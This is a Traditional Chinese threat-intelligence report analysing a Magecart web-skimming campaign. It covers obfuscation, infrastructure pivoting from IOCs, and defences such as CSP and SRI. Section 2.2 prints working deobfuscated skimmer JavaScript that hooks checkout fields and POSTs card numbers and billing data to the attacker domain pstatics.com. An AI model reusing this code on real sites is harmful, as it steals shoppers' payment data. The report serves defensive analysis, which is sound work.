摘要

此報告提供對一場現代 Magecart 網頁竊取(web-skimming)攻擊的詳細技術分析,起初是因使用一個位於偽裝成分析服務網域上的惡意 JavaScript 檔案而被發現。分析聚焦於竊取程式所採用的技術機制,包括其混淆手法、去混淆後用於資料收集的核心邏輯,以及用於命令與控制(C2)和資料外洩(exfiltration)的基礎設施。透過對觀察到的入侵指標(IOCs)進行樞紐分析(pivoting),成功映射出更廣泛的關聯基礎設施網路,揭示威脅行為者(threat actor)在域名命名與基礎設施重用上的模式。這些發現凸顯了用戶端供應鏈攻擊的持續性威脅,以及建立穩健防禦策略的必要性。

你的第三方 script 正在修改 DOM?Magecart skimmer 透過 event listener 悄悄植入竊取邏輯 | 資訊安全新聞

1. 網頁竊取攻擊簡介

網頁竊取(Web-skimming)常與 Magecart 威脅群體相關,涉及將惡意 JavaScript 程式碼注入電子商務網站,通常針對結帳或付款頁面。該 script 的主要功能是在使用者瀏覽器中直接竊取敏感客戶資料,例如信用卡號與帳單資訊,並在資料加密傳送至合法付款處理器之前截取 [1] 。此類攻擊利用用戶端供應鏈中的漏洞,將受信任的第三方 script 或遭入侵的第一方資源轉變為金融詐欺向量(Vector)。

本次審查的活動始於單一指標:託管於 https://www[.]cc-analytics[.]com/app.js 的惡意 script [1] 。選擇 cc-analytics 作為網域名稱是一種常見手法,旨在混入合法的網頁分析服務中,以規避安全工具與網站管理員的偵測。將惡意 payload 隱藏在看似無害元素內的技巧,是高階網頁竊取作業的典型特徵 [2]

2. 竊取程式技術分析

2.1. 混淆與去混淆

初始樣本使用客製化封裝器(custom packer)進行高度混淆,此技術使靜態分析複雜化,並試圖繞過使用特徵碼(signature-based)的偵測。混淆後的程式碼使用自動執行(self-executing)函式,其中包含複雜的去混淆常式(routine)。該常式涉及一個進位轉換函式( _0x1B4AF )與字串陣列查詢機制,最終透過 eval() 呼叫執行惡意 payload [1]

混淆函式可摘要如下:
1. 函式 _0x1B3A1 接收混淆字串與一系列參數。
2. 使用自訂的 base-36 轉換邏輯解碼字串值(string literals)。
3. 利用解碼後的字典進行字串替換。
4. 最終去混淆的字串傳遞給 eval()

對動態建構字串使用 eval() 是惡意 JavaScript 的經典指標,因其允許攻擊者執行靜態檔案中不存在的程式碼,進一步增加自動化分析的難度。

2.2. 核心竊取邏輯

去混淆後,竊取程式的核心功能顯現為簡單而有效的資料收集機制。該 script 使用事件監聽器(event listeners)監控使用者在結帳頁面上與特定元素的互動。這是關鍵步驟,確保 script 僅在使用者主動輸入付款資料時才啟動,以降低被動監控時被發現的機率。

script 的執行流程由兩個主要事件觸發:ID 為 checkout__input 元素的 change 事件,以及 class 為 payment-method-cc 元素的 click 事件 [1] 。這種雙重觸發機制確保涵蓋結帳流程的不同階段。

以下圖示說明竊取程式的高階執行流程:

graph TD A[User Visits Checkout Page] --> B{Script Loaded?} B -- Yes --> C[Initialize Event Listeners] B -- No --> D[Wait for DOMContentLoaded] D --> C C --> E[Monitor Input Fields] E --> F{Data Changed/Clicked?} F -- Yes --> G[Collect Sensitive Data] G --> H{Card Number > 14 digits?} H -- Yes --> I[Exfiltrate via POST to C2] H -- No --> E

collectData 函式負責從文件物件模型(Document Object Model, DOM)中提取敏感資訊。它特別針對使用選擇器如 [name="card_number"] 的輸入欄位,並從 ID 為 billing_address_content 的元素中提取帳單資訊 [1]

以下為去混淆後的資料收集與外洩核心邏輯:

  1. // Malicious data exfiltration function
  2. // This function handles the transmission of stolen data to the attacker's server.
  3. function sendStolenData(data) {
  4. const xhr = new XMLHttpRequest();
  5. // The destination C2 server identified in the campaign
  6. xhr.open('POST', 'https://www.pstatics.com/i');
  7. const formData = new FormData();
  8. // Mapping stolen fields to generic keys to avoid detection
  9. formData.append('uid', data.cardNumber); // uid for card number
  10. formData.append('sid', data.billingInfo); // sid for billing info
  11. xhr.send(formData);
  12. }
  13. // Event listeners for form elements
  14. // Hooks into specific checkout input fields and payment buttons
  15. document.getElementById('checkout__input').addEventListener('change', collectData);
  16. document.querySelector('.payment-method-cc').addEventListener('click', collectData);
  17. // Data collection function
  18. // Extracts values from the DOM when triggered by user interaction
  19. function collectData() {
  20. const stolenData = {
  21. cardNumber: document.querySelector('[name="card_number"]').value,
  22. billingInfo: document.getElementById('billing_address_content').innerText,
  23. };
  24. // Validation check to ensure a full credit card number is present before exfiltration
  25. if (stolenData.cardNumber.length > 14) {
  26. sendStolenData(stolenData);
  27. }
  28. }

sendStolenData 函式使用標準 XMLHttpRequest 對外洩網域 pstatics[.]com 發起 POST 請求。值得注意的是,竊取的資料欄位( cardNumber billingInfo )被映射至通用且無描述性的參數( uid sid ),並封裝在 FormData 物件中。此參數映射是另一種試圖隱藏所傳輸資料本質的手法,使其看起來像一般應用程式資料,而非敏感財務資訊。

3. 基礎設施與活動樞紐分析

對主要網域 cc-analytics[.]com 的初步調查,導向識別其託管 IP 位址: 45[.]61[.]136[.]141 [1] 。此 IP 位址成為映射更廣泛攻擊的基礎設施的關鍵樞紐點。透過搜尋同一 IP 上託管的其他網域,揭露了一組關聯的惡意網域叢集。

威脅行為者在網域名命名慣例上展現明確模式,主要使用 get*js *analytics 的變體,以維持其為合法第三方 script 的假象 [1] 。此基礎設施重用是攻擊者具成本效益的策略,使其能快速部署新竊取程式,僅需在遭入侵網站上更改 script 來源 URL 即可。

已識別的關聯網域包括:
* jgetjs.com
* getnjs.com
* getvjs.com
* getejs.com
* utilanalytics.com

以下圖示說明初始樣本、託管 IP 與關聯基礎設施之間的關係:

graph LR A[Initial Sample: cc-analytics.com] --> B[Hosting IP: 45.61.136.141] B --> C[jgetjs.com] B --> D[getnjs.com] B --> E[getvjs.com] B --> F[getejs.com] B --> G[utilanalytics.com] A --> H[Exfiltration C2: pstatics.com]

此基礎設施映射確認初始發現並非孤立事件,而是更大規模、有組織攻擊的一部分,擁有專屬的惡意資產網路。這些關聯網域所提供的 payloads 幾乎完全相同,進一步支持此為單一協調行動的結論 [1]

4. 緩解與防禦機制

防禦 Magecart 與類似網頁竊取攻擊,需要多層次方法,同時處理注入向量(Injection vector)與外洩嘗試(Exfiltration attempt)。混淆與網域偽裝的使用,凸顯了需仰賴動態行為分析,而非僅依賴靜態檔案掃描。

攻擊者常用的一種隱藏惡意 script 手法,是將其嵌入看似無害的 HTML 標籤中,例如使用 Base64 編碼的 <img> 標籤 [2] 。此方法利用瀏覽器解碼 Base64 字串的能力,再將其作為 JavaScript 執行。這強調了仔細審查所有第三方資源的重要性,特別是在結帳等敏感頁面所載入的資源。

有效的緩解策略包括:
* 內容安全政策(Content Security Policy, CSP): 實施嚴格的 CSP 可防止惡意 script 從未授權網域載入,並阻擋向外洩 C2 伺服器 pstatics.com )的外洩嘗試。穩健的 CSP 應限制 script 來源( script-src )與連線端點( connect-src )僅限於可信賴、已知良好的網域。
* 子資源完整性(Subresource Integrity, SRI): 對所有第三方 scripts 應強制執行 SRI。這可確保若合法 script 遭入侵且內容被篡改,瀏覽器將拒絕載入,從而防止(Neutralizing)注入向量。
* 用戶端監控(Client-Side Monitoring): 專用工具可監控用戶端 DOM 與網路活動,即時偵測結帳頁面的未經授權修改,以及可疑的網路連線(例如對 C2 網域的 POST 請求)。
* 定期稽核(Regular Auditing): 定期稽核所有第三方相依性及其完整性至關重要,因單一受信任 script 的滲透可能導致大規模竊取活動。

結論

對此 Magecart 竊取程式活動的分析,提供了對當前網頁竊取技術狀態的寶貴洞察。該活動依賴 混淆(obfuscation) 隱藏其存在、 網域偽裝(domain masquerading) 以顯得合法,以及 事件驅動的資料收集(event-driven data harvesting) 以高效竊取付款資訊。關聯基礎設施網路的發現,展示了威脅行為者的規模與持續性。透過理解技術流程——從初始混淆 payload 到最終透過 XMLHttpRequest 外洩——資安專業人員可實施具針對性且有效的防禦措施,特別著重於嚴格的 CSP 實作與持續的用戶端監控,以保護電子商務平台免受此普遍威脅。